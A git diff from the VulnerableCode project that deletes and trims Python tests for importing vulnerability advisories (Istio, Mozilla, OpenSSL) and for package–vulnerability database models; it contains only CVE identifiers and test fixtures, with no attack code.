nexB OSS projects. -# - -import pytest - -from vulnerabilities.importer import AdvisoryData -from vulnerabilities.importer import Reference -from vulnerabilities.improver import MAX_CONFIDENCE -from vulnerabilities.improver import Inference -from vulnerabilities.improver import PackageURL -from vulnerabilities.utils import purl_to_dict - - -def test_empty_inference_raises_exception(): - with pytest.raises(AssertionError): - Inference() - - -def test_inference_to_dict_method_with_vulnerability_id(): - inference = Inference(vulnerability_id="vulcoid-1337") - expected = { - "vulnerability_id": "vulcoid-1337", - "aliases": [], - "confidence": MAX_CONFIDENCE, - "summary": "", - "affected_purls": [], - "fixed_purl": None, - "references": [], - "weaknesses": [], - } - assert expected == inference.to_dict() - - -def test_inference_to_dict_method_with_purls(): - purl = PackageURL(type="dummy", namespace="rick", name="jalebi", version="1") - inference = Inference(affected_purls=[purl], fixed_purl=purl) - expected = { - "vulnerability_id": None, - "aliases": [], - "confidence": MAX_CONFIDENCE, - "summary": "", - "affected_purls": [purl_to_dict(purl)], - "fixed_purl": purl_to_dict(purl), - "references": [], - "weaknesses": [], - } - assert expected == inference.to_dict() - - -def test_inference_to_dict_method_with_versionless_purls_raises_exception(): - versionless_purl = PackageURL(type="dummy", namespace="rick", name="gulabjamun") - with pytest.raises(AssertionError): - Inference(affected_purls=[versionless_purl], fixed_purl=versionless_purl) - - -def test_inference_from_advisory_data(): - aliases = ["lalmohan", "gulabjamun"] - summary = "really tasty sweets" - references = [Reference(url="http://localhost")] - advisory_data = AdvisoryData(aliases=aliases, summary=summary, references=references) - fixed_purl = PackageURL(name="mithai", version="1", type="sweets") - inference = Inference.from_advisory_data( - advisory_data=advisory_data, fixed_purl=fixed_purl, confidence=MAX_CONFIDENCE - ) - assert inference == Inference( - aliases=aliases, summary=summary, references=references, fixed_purl=fixed_purl - ) diff --git a/vulnerabilities/tests/test_istio.py b/vulnerabilities/tests/test_istio.py deleted file mode 100644 index 706de1422..000000000 --- a/vulnerabilities/tests/test_istio.py +++ /dev/null @@ -1,79 +0,0 @@ -# -# Copyright (c) nexB Inc. and others. All rights reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about nexB OSS projects. -# - -import json -import os -from pathlib import Path -from unittest import mock - -from vulnerabilities.importer import AdvisoryData -from vulnerabilities.importers.istio import IstioImporter -from vulnerabilities.improvers.default import DefaultImprover -from vulnerabilities.improvers.valid_versions import IstioImprover -from vulnerabilities.tests import util_tests - -BASE_DIR = os.path.dirname(os.path.abspath(__file__)) -TEST_DIR = os.path.join(BASE_DIR, "test_data/istio") - - -def test_istio_get_data_from_md(): - path = os.path.join(TEST_DIR, "test_file.md") - actual_data = IstioImporter().get_data_from_md(path) - expected_data = { - "title": "ISTIO-SECURITY-2019-001", - "subtitle": "Security Bulletin", - "description": "Incorrect access control.", - "cves": ["CVE-2019-12243"], - "cvss": "8.9", - "vector": "CVSS:3.0/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N/E:H/RL:O/RC:C", - "releases": [ - "All releases prior to 0.0.9", - "1.1 to 1.1.15", - "1.3 to 1.3.1", - "All releases 1.5.0 and later", - ], - "publishdate": "2019-05-28", - } - - assert expected_data == actual_data - - -def test_istio_process_file(): - path = os.path.join(TEST_DIR, "test_file.md") - expected_file = os.path.join(TEST_DIR, f"istio-expected.json") - result = [ - data.to_dict() for data in list(IstioImporter().process_file(Path(path), Path(path).parent)) - ] - util_tests.check_results_against_json(result, expected_file) - - -@mock.patch("vulnerabilities.improvers.valid_versions.IstioImprover.get_package_versions") -def test_istio_improver(mock_response): - advisory_file = os.path.join(TEST_DIR, f"istio-expected.json") - expected_file = os.path.join(TEST_DIR, f"istio-improver-expected.json") - with open(advisory_file) as exp: - advisories = [AdvisoryData.from_dict(adv) for adv in (json.load(exp))] - mock_response.return_value = [ - "1.1.0", - "1.1.1", - "1.1.2", - "1.1.3", - "1.1.4", - "1.1.5", - "1.1.6", - "1.1.7", - "1.1.8", - ] - improvers = [IstioImprover(), DefaultImprover()] - result = [] - for improver in improvers: - for advisory in advisories: - inference = [data.to_dict() for data in improver.get_inferences(advisory)] - result.extend(inference) - util_tests.check_results_against_json(result, expected_file) diff --git a/vulnerabilities/tests/test_models.py b/vulnerabilities/tests/test_models.py index ec6fad7d8..6c663c759 100644 --- a/vulnerabilities/tests/test_models.py +++ b/vulnerabilities/tests/test_models.py @@ -7,660 +7,28 @@ # See https://aboutcode.org for more information about nexB OSS projects. # -import urllib.parse -from datetime import datetime from unittest import TestCase from unittest.mock import patch import pytest -from django.core.exceptions import ValidationError from django.db.utils import IntegrityError from django.test import TestCase as DjangoTestCase from packageurl import PackageURL -from univers import versions -from univers.version_range import RANGE_CLASS_BY_SCHEMES from univers.version_range import VersionRange from vulnerabilities import models -from vulnerabilities.importer import AdvisoryData from vulnerabilities.importer import AdvisoryDataV2 -from vulnerabilities.importer import AffectedPackage from vulnerabilities.importer import AffectedPackageV2 from vulnerabilities.importer import PackageCommitPatchData from vulnerabilities.importer import PatchData -from vulnerabilities.importer import Reference from vulnerabilities.importer import ReferenceV2 from vulnerabilities.importer import VulnerabilitySeverity from vulnerabilities.models import AdvisorySeverity -from vulnerabilities.models import Alias -from vulnerabilities.models import Package from vulnerabilities.models import PackageV2 from vulnerabilities.models import Patch -from vulnerabilities.models import Vulnerability from vulnerabilities.severity_systems import CVSSV3 from vulnerabilities.severity_systems import CVSSV4 -from vulnerabilities.severity_systems import ScoringSystem from vulnerabilities.tests.pipelines import TestLogger -from vulnerabilities.utils import compute_content_id - - -class TestVulnerabilityModel(TestCase): - @pytest.mark.django_db - def test_vulnerability_save_with_vulnerability_id(self): - models.Vulnerability(vulnerability_id="CVE-2020-7965").save() - assert models.Vulnerability.objects.filter(vulnerability_id="CVE-2020-7965").count() == 1 - - @pytest.mark.django_db - def test_cwe_present_in_weaknesses_db(self): - w1 = models.Weakness.objects.create(cwe_id=189) - assert w1.name == "Numeric Errors" - - -# FIXME: The fixture code is duplicated. setUpClass is not working with the pytest mark. -@pytest.mark.django_db -class TestPackageRelatedVulnerablity(TestCase): - def test_package_to_vulnerability(self): - p1 = models.Package.objects.create(type="deb", name="git", version="2.30.1") - p2 = models.Package.objects.create(type="deb", name="git", version="2.31.1") - v1 = models.Vulnerability.objects.create(vulnerability_id="CVE-123-2002") - - prv1 = models.AffectedByPackageRelatedVulnerability.objects.create( - package=p1, vulnerability=v1 - ) - prv2 = models.FixingPackageRelatedVulnerability.objects.create(package=p2, vulnerability=v1) - - assert p1.fixing_vulnerabilities.count() == 0 - - assert p2.fixing_vulnerabilities.count() == 1 - assert p2.fixing_vulnerabilities.first() == v1 - - def test_vulnerability_package(self): - p1 = models.Package.objects.create(type="deb", name="git", version="2.30.1") - p2 = models.Package.objects.create(type="deb", name="git", version="2.31.1") - v1 = models.Vulnerability.objects.create(vulnerability_id="CVE-123-2002") - - prv1 = models.AffectedByPackageRelatedVulnerability.objects.create( - package=p1, vulnerability=v1 - ) - prv2 = models.FixingPackageRelatedVulnerability.objects.create(package=p2, vulnerability=v1) - - assert v1.vulnerable_packages.count() == 1 - assert v1.fixed_by_packages.count() == 1 - - assert v1.vulnerable_packages.first() == p1 - assert v1.fixed_by_packages.first() == p2 - - -@pytest.mark.django_db -class TestPackageModel(TestCase): - def setUp(self): - """ - This uses a package/vuln/fix group we know from the DB/UI testing: pkg:pypi/redis@4.1.1. - It has 2 non-vuln versions, both the same: 5.0.0b1. The first of its two vulns is - VCID-g2fu-45jw-aaan (aliases: CVE-2023-28858 and GHSA-24wv-mv5m-xv4h), fixed by - 4.3.6 w/1 vuln of its own. The second is VCID-rqe1-dkmg-aaad (aliases: CVE-2023-28859 - and GHSA-8fww-64cx-x8p5), fixed by 5.0.0b1 w/ 0 vulns of its own. - """ - - # pkg - self.package_pypi_redis_4_1_1 = models.Package.objects.create( - type="pypi", - namespace="", - name="redis", - version="4.1.1", - qualifiers={}, - subpath="", - ) - - # vuln #1 for affected pkg - self.vuln_VCID_g2fu_45jw_aaan = models.Vulnerability.objects.create( - summary="This is VCID-g2fu-45jw-aaan", - vulnerability_id="VCID-g2fu-45jw-aaan", - ) - - # relationship - models.AffectedByPackageRelatedVulnerability.objects.create( - package=self.package_pypi_redis_4_1_1, - vulnerability=self.vuln_VCID_g2fu_45jw_aaan, - ) - - # aliases - Alias.objects.create(alias="CVE-2023-28858", vulnerability=self.vuln_VCID_g2fu_45jw_aaan) - Alias.objects.create( - alias="GHSA-24wv-mv5m-xv4h", vulnerability=self.vuln_VCID_g2fu_45jw_aaan - ) - - # fixed pkg for vuln #1 for affected pkg - self.package_pypi_redis_4_3_6 = models.Package.objects.create( - type="pypi", - namespace="", - name="redis", - version="4.3.6", - qualifiers={}, - subpath="", - ) - - # relationship - models.FixingPackageRelatedVulnerability.objects.create( - package=self.package_pypi_redis_4_3_6, - vulnerability=self.vuln_VCID_g2fu_45jw_aaan, - ) - - # vuln for fixed pkg -- and also vuln # 2 for affected pkg - self.vuln_VCID_rqe1_dkmg_aaad = models.Vulnerability.objects.create( - summary="This is VCID-rqe1-dkmg-aaad", - vulnerability_id="VCID-rqe1-dkmg-aaad", - ) - - # relationship - models.AffectedByPackageRelatedVulnerability.objects.create( - package=self.package_pypi_redis_4_3_6, - vulnerability=self.vuln_VCID_rqe1_dkmg_aaad, - ) - - # aliases - Alias.objects.create(alias="CVE-2023-28859", vulnerability=self.vuln_VCID_rqe1_dkmg_aaad) - Alias.objects.create( - alias="GHSA-8fww-64cx-x8p5", vulnerability=self.vuln_VCID_rqe1_dkmg_aaad - ) - - # vuln # 2 for affected pkg -- already defined above bc also vuln for fixed pkg above! - - # relationship - models.AffectedByPackageRelatedVulnerability.objects.create( - package=self.package_pypi_redis_4_1_1, - vulnerability=self.vuln_VCID_rqe1_dkmg_aaad, - ) - - # aliases -- already defined above - - # fixed pkg -- 0 vulns of its own - self.package_pypi_redis_5_0_0b1 = models.Package.objects.create( - type="pypi", - namespace="", - name="redis", - version="5.0.0b1", - qualifiers={}, - subpath="", - ) - - # relationship - models.FixingPackageRelatedVulnerability.objects.create( - package=self.package_pypi_redis_5_0_0b1, - vulnerability=self.vuln_VCID_rqe1_dkmg_aaad, - ) - - # This vulnerability does not affect any redis packages in this set of tests but does affect a made-up package, self.package_pypi_bogus_1_2_3. - self.vuln_VCID_abcd_efgh_1234 = models.Vulnerability.objects.create( - summary="This is VCID-abcd-efgh-1234", - vulnerability_id="VCID-abcd-efgh-1234", - ) - - # pkg - self.package_pypi_bogus_1_2_3 = models.Package.objects.create( - type="pypi", - namespace="", - name="bogus", - version="1.2.3", - qualifiers={}, - subpath="", - ) - - # relationship - models.AffectedByPackageRelatedVulnerability.objects.create( - package=self.package_pypi_bogus_1_2_3, - vulnerability=self.vuln_VCID_abcd_efgh_1234, - ) - - # This vulnerability does not affect any packages in this set of tests included to test .all(). - self.vuln_VCID_wxyz_0000_0000 = models.Vulnerability.objects.create( - summary="This is VCID-wxyz-0000-0000", - vulnerability_id="VCID-wxyz-0000-0000", - ) - - # FIXME: Remove this test after removing V1 models - # def test_fixed_package_details(self): - # searched_for_package = self.package_pypi_redis_4_1_1 - - # assert searched_for_package.package_url == "pkg:pypi/redis@4.1.1" - # assert searched_for_package.plain_package_url == "pkg:pypi/redis@4.1.1" - # assert searched_for_package.get_absolute_url() == "/packages/pkg:pypi/redis@4.1.1" - # assert searched_for_package.purl == "pkg:pypi/redis@4.1.1" - - # assert len(searched_for_package.affected_by) == 2 - - # assert self.vuln_VCID_g2fu_45jw_aaan in searched_for_package.affected_by - # assert ( - # self.package_pypi_redis_4_3_6 in self.vuln_VCID_g2fu_45jw_aaan.fixed_by_packages.all() - # ) - - # assert self.vuln_VCID_rqe1_dkmg_aaad in searched_for_package.affected_by - # assert ( - # self.package_pypi_redis_5_0_0b1 in self.vuln_VCID_rqe1_dkmg_aaad.fixed_by_packages.all() - # ) - - # searched_for_package_details = searched_for_package.fixed_package_details - - # package_details = { - # "purl": PackageURL( - # type="pypi", - # name="redis", - # version="4.1.1", - # ), - # "next_non_vulnerable": self.package_pypi_redis_5_0_0b1, - # "latest_non_vulnerable": self.package_pypi_redis_5_0_0b1, - # "vulnerabilities": [ - # { - # "vulnerability": self.vuln_VCID_g2fu_45jw_aaan, - # "fixed_by_package_details": [ - # { - # "fixed_by_purl": PackageURL( - # type="pypi", - # namespace=None, - # name="redis", - # version="4.3.6", - # qualifiers={}, - # subpath=None, - # ), - # "fixed_by_purl_vulnerabilities": [self.vuln_VCID_rqe1_dkmg_aaad], - # } - # ], - # "fixed_by_purl": [], - # "fixed_by_purl_vulnerabilities": [], - # }, - # { - # "vulnerability": self.vuln_VCID_rqe1_dkmg_aaad, - # "fixed_by_package_details": [ - # { - # "fixed_by_purl": PackageURL( - # type="pypi", - # namespace=None, - # name="redis", - # version="5.0.0b1", - # qualifiers={}, - # subpath=None, - # ), - # "fixed_by_purl_vulnerabilities": [], - # } - # ], - # "fixed_by_purl": [], - # "fixed_by_purl_vulnerabilities": [], - # }, - # ], - # } - - # assert searched_for_package_details == package_details - - # assert ( - # searched_for_package_details.get("latest_non_vulnerable") - # == self.package_pypi_redis_5_0_0b1 - # ) - - # searched_for_package_fixing = searched_for_package.fixing - # assert type(searched_for_package_fixing) == models.VulnerabilityQuerySet - # assert searched_for_package_fixing.count() == 0 - # assert len(searched_for_package_fixing) == 0 - # assert list(searched_for_package_fixing) == [] - - def test_get_vulnerable_packages(self): - vuln_packages = Package.objects.vulnerable() - assert vuln_packages.count() == 4 - assert vuln_packages.distinct().count() == 3 - - first_vulnerable_package = vuln_packages.distinct()[0] - assert first_vulnerable_package.purl == "pkg:pypi/bogus@1.2.3" - - second_vulnerable_package = vuln_packages.distinct()[1] - assert second_vulnerable_package.purl == "pkg:pypi/redis@4.1.1" - - second_vulnerable_package_matching_fixed_packages = ( - Package.objects.get_fixed_by_package_versions(second_vulnerable_package, fix=True) - ) - first_fixed_by_package = second_vulnerable_package_matching_fixed_packages[0] - - assert len(second_vulnerable_package_matching_fixed_packages) == 2 - assert first_fixed_by_package.purl == "pkg:pypi/redis@4.3.6" - - # def test_string_to_package(self): - # purl_string = "pkg:maven/org.apache.tomcat/tomcat@10.0.0-M4" - # purl = PackageURL.from_string(purl_string) - # purl_to_dict = purl.to_dict() - - # # For namespace, version, qualifiers and subpath, we need to add the or * to avoid an - # # IntegrityError, e.g., django.db.utils.IntegrityError: null value in column "subpath" violates - # # not-null constraint - # vulnerablecode_package = models.Package.objects.create( - # type=purl_to_dict.get("type"), - # namespace=purl_to_dict.get("namespace") or "", - # name=purl_to_dict.get("name"), - # version=purl_to_dict.get("version") or "", - # qualifiers=purl_to_dict.get("qualifiers") or {}, - # subpath=purl_to_dict.get("subpath") or "", - # ) - - # assert type(vulnerablecode_package) == models.Package - # assert vulnerablecode_package.purl == "pkg:maven/org.apache.tomcat/tomcat@10.0.0-M4" - # assert vulnerablecode_package.package_url == "pkg:maven/org.apache.tomcat/tomcat@10.0.0-M4" - # assert ( - # vulnerablecode_package.plain_package_url - # == "pkg:maven/org.apache.tomcat/tomcat@10.0.0-M4" - # ) - # assert ( - # vulnerablecode_package.get_absolute_url() - # == "/packages/pkg:maven/org.apache.tomcat/tomcat@10.0.0-M4" - # ) - - def test_univers_version_comparisons(self): - assert versions.PypiVersion("1.2.3") < versions.PypiVersion("1.2.4") - assert versions.PypiVersion("0.9") < versions.PypiVersion("0.10") - - deb01 = models.Package.objects.create(type="deb", name="git", version="2.30.1") - deb02 = models.Package.objects.create(type="deb", name="git", version="2.31.1") - assert versions.DebianVersion(deb01.version) < versions.DebianVersion(deb02.version) - - # pkg:deb/debian/jackson-databind@2.12.1-1%2Bdeb11u1 is a real PURL in the DB - # But we need to replace/delete the "%". Test the error: - with pytest.raises(versions.InvalidVersion): - assert versions.DebianVersion("2.12.1-1%2Bdeb11u1") < versions.DebianVersion( - "2.13.1-1%2Bdeb11u1" - ) - # Decode the version and test: - assert versions.DebianVersion( - urllib.parse.unquote("2.12.1-1%2Bdeb11u1") - ) < versions.DebianVersion(urllib.parse.unquote("2.13.1-1%2Bdeb11u1")) - - # Expect an error when comparing different types. - with pytest.raises(TypeError): - assert versions.PypiVersion("0.9") < versions.DebianVersion("0.10") - - # This demonstrates that versions.Version does not correctly compare 0.9 vs. 0.10. - assert not versions.Version("0.9") < versions.Version("0.10") - # Use SemverVersion instead as a default fallback version for comparisons. - assert versions.SemverVersion("0.9") < versions.SemverVersion("0.10") - - def test_univers_version_class(self): - gem_version = RANGE_CLASS_BY_SCHEMES["gem"].version_class - assert gem_version == versions.RubygemsVersion - - gem_package = models.Package.objects.create(type="gem", name="sidekiq", version="0.9") - gem_package_version = RANGE_CLASS_BY_SCHEMES[gem_package.type].version_class - assert gem_package_version == versions.RubygemsVersion - - deb_version = RANGE_CLASS_BY_SCHEMES["deb"].version_class - assert deb_version == versions.DebianVersion - - deb_package = models.Package.objects.create(type="deb", name="git", version="2.31.1") - deb_package_version = RANGE_CLASS_BY_SCHEMES[deb_package.type].version_class - assert deb_package_version == versions.DebianVersion - - pypi_version = RANGE_CLASS_BY_SCHEMES["pypi"].version_class - assert pypi_version == versions.PypiVersion - - pypi_package = models.Package.objects.create(type="pypi", name="pyopenssl", version="0.9") - pypi_package_version = RANGE_CLASS_BY_SCHEMES[pypi_package.type].version_class - assert pypi_package_version == versions.PypiVersion - - alpine_package = models.Package.objects.create( - type="apk", namespace="alpine", name="lxml", version="0.9" - ) - alpine_version = RANGE_CLASS_BY_SCHEMES[alpine_package.type].version_class - assert alpine_version == versions.AlpineLinuxVersion - - def test_sort_by_version(self): - list_to_sort = [ - "pkg:npm/sequelize@3.13.1", - "pkg:npm/sequelize@3.10.1", - "pkg:npm/sequelize@3.40.1", - "pkg:npm/sequelize@3.9.1", - ] - - # Convert list of strings ^ to a list of vulnerablecode Package objects. - vuln_pkg_list = [] - for package in list_to_sort: - purl = PackageURL.from_string(package) - attrs = {k: v for k, v in purl.to_dict().items() if v} - vulnerablecode_package = models.Package.objects.create(**attrs) - vuln_pkg_list.append(vulnerablecode_package) - - requesting_package = models.Package.objects.create( - type="npm", - name="sequelize", - version="3.0.0", - ) - - requesting_package.calculate_version_rank - - sorted_pkgs = Package.objects.filter(package_url__in=list_to_sort) - - sorted_pkgs = list(sorted_pkgs) - - assert sorted_pkgs[0].purl == "pkg:npm/sequelize@3.9.1" - assert sorted_pkgs[-1].purl == "pkg:npm/sequelize@3.40.1" - - def test_affecting_vulnerabilities_vulnerabilityqueryset_method(self): - """ - Return querysets of Vulnerabilities using the VulnerabilityQuerySet affecting_vulnerabilities() method. - """ - searched_for_package = self.package_pypi_redis_4_1_1 - - # Return a queryset of Vulnerabilities that affect this Package. - this_package_vulnerabilities = searched_for_package.affected_by - - assert this_package_vulnerabilities[0] == self.vuln_VCID_g2fu_45jw_aaan - assert this_package_vulnerabilities[1] == self.vuln_VCID_rqe1_dkmg_aaad - - # Return a queryset of Vulnerabilities that affect any Package. - any_package_vulnerabilities = Vulnerability.objects.affecting_vulnerabilities() - - assert any_package_vulnerabilities[0] == self.vuln_VCID_abcd_efgh_1234 - assert any_package_vulnerabilities[1] == self.vuln_VCID_g2fu_45jw_aaan - assert any_package_vulnerabilities[2] == self.vuln_VCID_rqe1_dkmg_aaad - assert any_package_vulnerabilities[3] == self.vuln_VCID_rqe1_dkmg_aaad - - # Return a queryset of distinct Vulnerabilities that affect any Package. - any_package_vulnerabilities_distinct = ( - Vulnerability.objects.affecting_vulnerabilities().distinct() - ) - - assert any_package_vulnerabilities_distinct[0] == self.vuln_VCID_abcd_efgh_1234 - assert any_package_vulnerabilities_distinct[1] == self.vuln_VCID_g2fu_45jw_aaan - assert any_package_vulnerabilities_distinct[2] == self.vuln_VCID_rqe1_dkmg_aaad - - # Return a count of the queryset of distinct Vulnerabilities that affect any Package. - any_package_vulnerabilities_distinct_count = ( - Vulnerability.objects.affecting_vulnerabilities().distinct().count() - ) - - assert any_package_vulnerabilities_distinct_count == 3 - - # Return a queryset of all Vulnerabilities, regardless of whether they affect a package. - all_vulnerabilities = Vulnerability.objects.all() - - assert all_vulnerabilities[0] == self.vuln_VCID_abcd_efgh_1234 - assert all_vulnerabilities[1] == self.vuln_VCID_g2fu_45jw_aaan - assert all_vulnerabilities[2] == self.vuln_VCID_rqe1_dkmg_aaad - assert all_vulnerabilities[3] == self.vuln_VCID_wxyz_0000_0000 - - # Return a count of the queryset of all Vulnerabilities, regardless of whether they affect a package. - all_vulnerabilities_count = Vulnerability.objects.all().count() - - assert all_vulnerabilities_count == 4 - - def test_affected_by_package_property_method(self): - """ - Return a queryset of Vulnerabilities using the Package affected_by() property - method. - """ - searched_for_package = self.package_pypi_redis_4_1_1 - - # Return a queryset of Vulnerabilities that affect a specific Package. - this_package_vulnerabilities = searched_for_package.affected_by - - assert this_package_vulnerabilities[0] == self.vuln_VCID_g2fu_45jw_aaan - assert this_package_vulnerabilities[1] == self.vuln_VCID_rqe1_dkmg_aaad - - def test_fixing_vulnerabilities_package_property_method(self): - """ - Return a queryset of Vulnerabilities using the Package fixing_vulnerabilities() property - method. - """ - # Return a queryset of Vulnerabilities that are fixed by a specific Package. - searched_for_package_redis_4_1_1 = self.package_pypi_redis_4_1_1 - redis_4_1_1_fixing_vulnerabilities = searched_for_package_redis_4_1_1.fixing_vulnerabilities - - assert redis_4_1_1_fixing_vulnerabilities.count() == 0 - - searched_for_package_redis_4_3_6 = self.package_pypi_redis_4_3_6 - redis_4_3_6_fixing_vulnerabilities = searched_for_package_redis_4_3_6.fixing_vulnerabilities - - assert redis_4_3_6_fixing_vulnerabilities.count() == 1 - assert redis_4_3_6_fixing_vulnerabilities.first() == self.vuln_VCID_g2fu_45jw_aaan - - searched_for_package_redis_5_0_0b1 = self.package_pypi_redis_5_0_0b1 - redis_5_0_0b1_fixing_vulnerabilities = ( - searched_for_package_redis_5_0_0b1.fixing_vulnerabilities - ) - - assert redis_5_0_0b1_fixing_vulnerabilities.count() == 1 - assert redis_5_0_0b1_fixing_vulnerabilities.first() == self.vuln_VCID_rqe1_dkmg_aaad - - def test_get_affecting_vulnerabilities_package_method(self): - """ - Return a list of vulnerabilities that affect this package. - """ - searched_for_package_redis_4_1_1 = self.package_pypi_redis_4_1_1 - redis_4_1_1_affecting_vulnerabilities = ( - searched_for_package_redis_4_1_1.get_affecting_vulnerabilities() - ) - - affecting_vulnerabilities = [ - { - "vulnerability": self.vuln_VCID_g2fu_45jw_aaan, - "fixed_by_purl": [], - "fixed_by_purl_vulnerabilities": [], - "fixed_by_package_details": [ - { - "fixed_by_purl": PackageURL( - type="pypi", - namespace=None, - name="redis", - version="4.3.6", - qualifiers={}, - subpath=None, - ), - "fixed_by_purl_vulnerabilities": [self.vuln_VCID_rqe1_dkmg_aaad], - } - ], - }, - { - "vulnerability": self.vuln_VCID_rqe1_dkmg_aaad, - "fixed_by_purl": [], - "fixed_by_purl_vulnerabilities": [], - "fixed_by_package_details": [ - { - "fixed_by_purl": PackageURL( - type="pypi", - namespace=None, - name="redis", - version="5.0.0b1", - qualifiers={}, - subpath=None, - ), - "fixed_by_purl_vulnerabilities": [], - } - ], - }, - ] - - assert redis_4_1_1_affecting_vulnerabilities == affecting_vulnerabilities - - def test_get_non_vulnerable_versions(self): - redis_next, redis_later = self.package_pypi_redis_4_1_1.get_non_vulnerable_versions() - assert redis_next.version == "5.0.0b1" - assert redis_later.version == "5.0.0b1" - - def test_version_class_and_current_version(self): - package = self.package_pypi_redis_4_1_1 - - package_version_class = RANGE_CLASS_BY_SCHEMES[package.type].version_class - - assert package_version_class == versions.PypiVersion - assert package.current_version == package_version_class(string="4.1.1") - assert str(package.current_version) == "4.1.1" - - def test_get_fixed_by_package_versions(self): - searched_for_package_redis_4_1_1 = self.package_pypi_redis_4_1_1 - - fixed_by_package_versions = Package.objects.get_fixed_by_package_versions( - searched_for_package_redis_4_1_1, fix=True - ) - - all_package_versions = Package.objects.get_fixed_by_package_versions( - searched_for_package_redis_4_1_1, fix=False - ) - - assert fixed_by_package_versions[0] == self.package_pypi_redis_4_3_6 - assert fixed_by_package_versions[1] == self.package_pypi_redis_5_0_0b1 - assert fixed_by_package_versions.count() == 2 - - assert all_package_versions[0] == self.package_pypi_redis_4_1_1 - assert all_package_versions[1] == self.package_pypi_redis_4_3_6 - assert all_package_versions[2] == self.package_pypi_redis_5_0_0b1 - assert all_package_versions.count() == 3 - - -class TestAdvisoryModel(DjangoTestCase): - def setUp(self): - self.advisory_data1 = AdvisoryData( - summary="vulnerability description here", - affected_packages=[ - AffectedPackage( - package=PackageURL(type="pypi", name="dummy"), - affected_version_range=VersionRange.from_string("vers:pypi/>=1.0.0|<=2.0.0"), - ) - ], - references=[Reference(url="https://example.com/with/more/info/CVE-2020-13371337")], - date_published=datetime.now(), - url="https://test.com", - ) - - def test_advisory_insert_without_content_id(self): - with self.assertRaises(ValidationError): - date = datetime.now() - models.Advisory.objects.create( - url=self.advisory_data1.url, - summary=self.advisory_data1.summary, - affected_packages=[pkg.to_dict() for pkg in self.advisory_data1.affected_packages], - references=[ref.to_dict() for ref in self.advisory_data1.references], - date_imported=date, - date_collected=date, - created_by="test_pipeline", - ) - - def test_advisory_insert_no_duplicate_content_id(self): - date = datetime.now() - models.Advisory.objects.create( - unique_content_id=compute_content_id(advisory_data=self.advisory_data1), - url=self.advisory_data1.url, - summary=self.advisory_data1.summary, - affected_packages=[pkg.to_dict() for pkg in self.advisory_data1.affected_packages], - references=[ref.to_dict() for ref in self.advisory_data1.references], - date_imported=date, - date_collected=date, - created_by="test_pipeline", - ) - - with self.assertRaises(ValidationError): - models.Advisory.objects.create( - unique_content_id=compute_content_id(advisory_data=self.advisory_data1), - url=self.advisory_data1.url, - summary=self.advisory_data1.summary, - affected_packages=[pkg.to_dict() for pkg in self.advisory_data1.affected_packages], - references=[ref.to_dict() for ref in self.advisory_data1.references], - date_imported=date, - date_collected=date, - created_by="test_pipeline", - ) class TestPipelineRunModel(DjangoTestCase): @@ -808,7 +176,7 @@ def setUp(self): self.advisoryv2_data1 = AdvisoryDataV2( advisory_id="CVE-2023-0401", aliases=[], - summary="", + summary="CVE-2023-0401 advisory", affected_packages=[], severities=[ VulnerabilitySeverity( @@ -824,7 +192,7 @@ def setUp(self): self.advisoryv2_data2 = AdvisoryDataV2( advisory_id="CVE-2023-0662", aliases=[], - summary="", + summary="CVE-2023-0662 advisory", affected_packages=[], severities=[ VulnerabilitySeverity( diff --git a/vulnerabilities/tests/test_mozilla.py b/vulnerabilities/tests/test_mozilla.py deleted file mode 100644 index 15437e22b..000000000 --- a/vulnerabilities/tests/test_mozilla.py +++ /dev/null @@ -1,36 +0,0 @@ -# -# Copyright (c) nexB Inc. and others. All rights reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about nexB OSS projects. -# - -import os -from pathlib import Path - -from vulnerabilities.importers.mozilla import to_advisories -from vulnerabilities.tests import util_tests - -BASE_DIR = os.path.dirname(os.path.abspath(__file__)) -TEST_DATA = os.path.join(BASE_DIR, "test_data/mozilla/") - - -def test_import_md(): - md_file = os.path.join(TEST_DATA, "mfsa2006-02.md") - expected_file_md = os.path.join(TEST_DATA, "expected-md.json") - - advisories_from_md = [ - adv.to_dict() for adv in to_advisories(Path(md_file), Path(md_file).parent) - ] - util_tests.check_results_against_json(advisories_from_md, expected_file_md) - - -def test_import_yml(): - yml_file = os.path.join(TEST_DATA, "mfsa2022-01.yml") - expected_file_yml = os.path.join(TEST_DATA, "expected-yml.json") - advisories_from_yml = [ - adv.to_dict() for adv in to_advisories(Path(yml_file), Path(yml_file).parent) - ] - util_tests.check_results_against_json(advisories_from_yml, expected_file_yml) diff --git a/vulnerabilities/tests/test_openssl.py b/vulnerabilities/tests/test_openssl.py deleted file mode 100644 index 90dbbc8b7..000000000 --- a/vulnerabilities/tests/test_openssl.py +++ /dev/null @@ -1,178 +0,0 @@ -# -# Copyright (c) nexB Inc. and others. All rights reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about nexB OSS projects. -# - -import datetime -import json -from pathlib import Path - -import defusedxml.ElementTree as DET -import pytest -from commoncode import testcase -from packageurl import PackageURL -from univers.version_constraint import VersionConstraint -from univers.version_range import OpensslVersionRange -from univers.versions import OpensslVersion - -from vulnerabilities import models -from vulnerabilities.import_runner import ImportRunner -from vulnerabilities.importer import AdvisoryData -from vulnerabilities.importer import AffectedPackage -from vulnerabilities.importer import Reference -from vulnerabilities.importers import openssl -from vulnerabilities.improvers import default -from vulnerabilities.tests import util_tests - -ADVISORY_FIELDS_TO_TEST = ( - "unique_content_id", - "summary", - "affected_packages", - "references", - "date_published", - "weaknesses", -) - - -class TestOpenssl(testcase.FileBasedTesting): - test_data_dir = str(Path(__file__).resolve().parent / "test_data" / "openssl") - - def test_parse_vulnerabilities(self): - xml_page = self.get_test_loc("security_advisories.xml") - with open(xml_page) as f: - xml_response = f.read() - results = [data.to_dict() for data in openssl.parse_vulnerabilities(xml_response)] - expected_file = self.get_test_loc( - "security_advisories-advisory_data-expected.json", must_exist=False - ) - util_tests.check_results_against_json(results, expected_file) - - def test_to_advisory_data(self): - issue_string = """ - - - - - - - Unauthenticated 